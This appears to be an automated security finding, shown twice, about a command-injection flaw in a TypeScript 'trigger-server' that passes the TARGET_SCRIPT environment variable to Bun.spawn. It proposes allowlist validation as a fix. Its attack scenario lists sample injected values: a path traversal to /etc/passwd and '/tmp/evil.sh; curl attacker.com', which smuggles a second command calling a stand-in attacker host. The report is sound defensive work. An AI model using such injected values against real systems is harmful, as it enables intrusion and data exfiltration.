Security Finding
Severity: HIGH
File: .claude/skills/setup-agent-team/trigger-server.ts:178
Category: Command injection
Description
The TARGET_SCRIPT environment variable is passed directly to Bun.spawn without validation:
constproc=Bun.spawn(["bash",TARGET_SCRIPT],{cwd: process.env.REPO_ROOT||TARGET_SCRIPT.substring(0,TARGET_SCRIPT.lastIndexOf("/"))||".",// ...});While the issue parameter is validated (line 369), the TARGET_SCRIPT itself is only checked for existence at startup (line 40) but never validated for injection attacks.
Attack Scenario
If an attacker can control the TARGET_SCRIPT env var (e.g., via container escape, compromised config), they could inject:
- Path traversal:
../../../../etc/passwd - Command injection:
/tmp/evil.sh; curl attacker.com - Arbitrary script execution
Impact
- Remote code execution if TARGET_SCRIPT can be controlled
- Arbitrary file execution on the system
- Data exfiltration via injected commands
Remediation
- Validate TARGET_SCRIPT is an absolute path within expected directory
- Use allowlist of known-safe script paths
- Verify file ownership/permissions before execution
- Consider using a hardcoded script path map instead of env var
Example validation:
constALLOWED_SCRIPTS=newSet(["/root/spawn/.claude/skills/setup-agent-team/refactor.sh","/root/spawn/.claude/skills/setup-agent-team/discovery.sh",]);functionvalidateTargetScript(path: string): void{if(!ALLOWED_SCRIPTS.has(path)){thrownewError(`TARGET_SCRIPT not in allowlist: ${path}`);}// Additional checks: file exists, owned by correct user, not writable by others}Found by
-- security/code-scanner
Security Finding
Severity: HIGH
File:
.claude/skills/setup-agent-team/trigger-server.ts:178Category: Command injection
Description
The
TARGET_SCRIPTenvironment variable is passed directly toBun.spawnwithout validation:While the
issueparameter is validated (line 369), theTARGET_SCRIPTitself is only checked for existence at startup (line 40) but never validated for injection attacks.Attack Scenario
If an attacker can control the
TARGET_SCRIPTenv var (e.g., via container escape, compromised config), they could inject:../../../../etc/passwd/tmp/evil.sh; curl attacker.comImpact
Remediation
Example validation:
Found by
-- security/code-scanner